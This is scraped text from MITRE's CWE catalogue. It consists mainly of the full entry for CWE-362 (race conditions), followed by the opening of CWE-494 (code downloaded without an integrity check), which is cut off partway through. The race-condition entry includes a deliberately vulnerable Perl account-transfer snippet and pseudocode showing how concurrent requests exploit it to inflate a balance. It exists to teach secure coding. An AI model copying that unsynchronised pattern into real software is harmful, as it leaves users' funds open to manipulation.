updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Plaintext Transmission of Sensitive Information
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CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Weakness ID: 362
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
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+ Description
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Diagram for CWE-362
+ Extended Description

A race condition occurs within concurrent environments, and it is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

  • Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.
  • Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity.

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the product; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable product.

+ Alternate Terms
Race Condition
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other)

Scope: Availability

When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion.

DoS: Crash, Exit, or Restart; DoS: Instability

Scope: Availability

When a race condition allows multiple control flows to access a resource simultaneously, it might lead the product(s) into unexpected states, possibly resulting in a crash.

Read Files or Directories; Read Application Data

Scope: Confidentiality, Integrity

When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).

Execute Unauthorized Code or Commands; Gain Privileges or Assume Identity; Bypass Protection Mechanism

Scope: Access Control

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Architecture and Design
Use thread-safe capabilities such as the data access abstraction in Spring.

Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.

Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

Implementation
When using multithreading and operating on shared variables, only use thread-safe functions.

Implementation
Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Implementation
Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Implementation
Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Implementation
Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Implementation
Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 691 Insufficient Control Flow Management
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 364 Signal Handler Race Condition
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 366 Race Condition within a Thread
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 367 Time-of-check Time-of-use (TOCTOU) Race Condition
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 368 Context Switching Race Condition
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 421 Race Condition During Access to Alternate Channel
ParentOf Composite Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. 689 Permission Race Condition During Resource Copy
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1223 Race Condition for Write-Once Attributes
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1298 Hardware Logic Contains Race Conditions
CanFollow Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 662 Improper Synchronization
CanPrecede Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 416 Use After Free
CanPrecede Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 476 NULL Pointer Dereference
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 367 Time-of-check Time-of-use (TOCTOU) Race Condition
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

C (Sometimes Prevalent)

C++ (Sometimes Prevalent)

Java (Sometimes Prevalent)

Technologies

Class: Mobile (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1


This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

(bad code)
Example Language: Perl 
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();

if ($transfer_amount < 0) {
FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");

A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Suppose the balance is initially 100.00. An attack could be constructed as follows:

(attack code)
Example Language: Other 
In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().



Example 2


The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)
Example Language: C 
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);

/* access shared resource */


pthread_mutex_unlock(mutex);
}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

(good code)
Example Language: C 
int f(pthread_mutex_t *mutex) {
int result;

result = pthread_mutex_lock(mutex);
if (0 != result)
return result;


/* access shared resource */


return pthread_mutex_unlock(mutex);
}


Example 3


Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition.
Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV.
Chain: mobile platform race condition (CWE-362) leading to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
Chain: race condition (CWE-362) leads to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys
Chain: race condition (CWE-362) in anti-malware product allows deletion of files by creating a junction (CWE-1386) and using hard links during the time window in which a temporary file is created and deleted.
TOCTOU in sandbox process allows installation of untrusted browser add-ons by replacing a file after it has been verified, but before it is executed
Chain: chipset has a race condition (CWE-362) between when an interrupt handler detects an attempt to write-enable the BIOS (in violation of the lock bit), and when the handler resets the write-enable bit back to 0, allowing attackers to issue BIOS writes during the timing window [REF-1237].
Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.
Race condition during initialization triggers a buffer overflow.
Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.
chain: race condition triggers NULL pointer dereference
Race condition in library function could cause data to be sent to the wrong process.
Race condition in file parser leads to heap corruption.
chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.
chain: race condition for an argument value, possibly resulting in NULL dereference
chain: race condition might allow resource to be released before operating on it, leading to NULL dereference
Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415).
+ Detection Methods
Method Details

Black Box
Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

White Box
Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Effectiveness: Moderate

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Framework-based Fuzzer
Cost effective for partial coverage:
  • Fuzz Tester
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 635 Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 743 CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 751 2009 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 801 2010 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 852 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 867 2011 Top 25 - Weaknesses On the Cusp
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 877 CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 882 CERT C++ Secure Coding Section 14 - Concurrency (CON)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 988 SFP Secondary Cluster: Race Condition Window
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1142 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1376 ICS Engineering (Construction/Deployment): Security Gaps in Commissioning
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1401 Comprehensive Categorization: Concurrency
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Notes

Research Gap

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Research Gap

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

Research Gap

From a classification/taxonomy perspective, the relationships between concurrency and program state need closer investigation and may be useful in organizing related issues.

Maintenance

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Race Conditions
The CERT Oracle Secure Coding Standard for Java (2011) VNA03-J Do not assume that a group of calls to independently atomic methods is atomic
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
[REF-349] Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobb's. 2008-02-01.
<https://drdobbs.com/cpp/volatile-the-multithreaded-programmers-b/184403766>. (URL validated: 2023-04-07)
[REF-350] Steven Devijver. "Thread-safe webapps using Spring".
<https://web.archive.org/web/20170609174845/http://www.javalobby.org/articles/thread-safe/index.jsp>. (URL validated: 2023-04-07)
[REF-351] David Wheeler. "Prevent race conditions". 2007-10-04.
<https://www.ida.liu.se/~TDDC90/literature/papers/SP-race-conditions.pdf>. (URL validated: 2023-04-07)
[REF-352] Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". 1995-09.
<https://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/ucd-ecs-95-08.pdf>. (URL validated: 2023-04-07)
[REF-353] David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003-03-03.
<https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html>. (URL validated: 2023-04-07)
[REF-354] Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". 2002-04.
<https://www.blakewatts.com/blog/discovering-and-exploiting-named-pipe-security-flaws-for-fun-and-profit>. (URL validated: 2023-04-07)
[REF-355] Roberto Paleari, Davide Marrone, Danilo Bruschi and Mattia Monga. "On Race Vulnerabilities in Web Applications".
<http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf>.
[REF-356] "Avoiding Race Conditions and Insecure File Operations". Apple Developer Connection.
<https://web.archive.org/web/20081010155022/http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html>. (URL validated: 2023-04-07)
[REF-357] Johannes Ullrich. "Top 25 Series - Rank 25 - Race Conditions". SANS Software Security Institute. 2010-03-26.
<https://web.archive.org/web/20100530231203/http://blogs.sans.org:80/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/>. (URL validated: 2023-04-07)
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14.
<https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. (URL validated: 2023-04-07)
[REF-1237] CERT Coordination Center. "Intel BIOS locking mechanism contains race condition that enables write protection bypass". 2015-01-05.
<https://www.kb.cert.org/vuls/id/766164/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2010-04-30 Martin Sebor Cisco Systems, Inc.
Provided Demonstrative Example
2024-02-29
(CWE 4.16, 2024-11-19) 		Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Affected_Resources
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Alternate_Terms, Common_Consequences, Description, Diagram, Modes_of_Introduction
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Description
2022-10-13 CWE Content Team MITRE
updated Observed_Examples, References
2022-06-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2022-04-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2021-10-28 CWE Content Team MITRE
updated Observed_Examples, References
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Demonstrative_Examples, References, Research_Gaps, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships
2012-05-11 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2011-09-13 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2010-12-13 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships
2010-09-27 CWE Content Team MITRE
updated Observed_Examples, Potential_Mitigations, Relationships
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References
2010-02-16 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2009-05-27 CWE Content Team MITRE
updated Relationships
2009-03-10 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations
2009-01-12 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships, Research_Gaps
2008-11-24 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-10-14 CWE Content Team MITRE
updated Relationships
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Race Conditions
2010-12-13 Race Condition
Back to top

CWE-494: Download of Code Without Integrity Check

Weakness ID: 494
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.
+ Extended Description
An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Execute Unauthorized Code or Commands; Alter Execution Logic; Other

Scope: Integrity, Availability, Confidentiality, Other

Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.
+ Potential Mitigations
Phase(s) Mitigation

Implementation
Perform proper forward and reverse DNS lookups to detect DNS spoofing.
Note: This is only a partial solution since it will not prevent your code from being modified on the hosting site or in transit.

Architecture and Design; Operation

Encrypt the code with a reliable encryption scheme before transmitting.

This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code.

  • When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses.
  • Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].

Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 345 Insufficient Verification of Data Authenticity
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1214 Data Integrity Issues
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
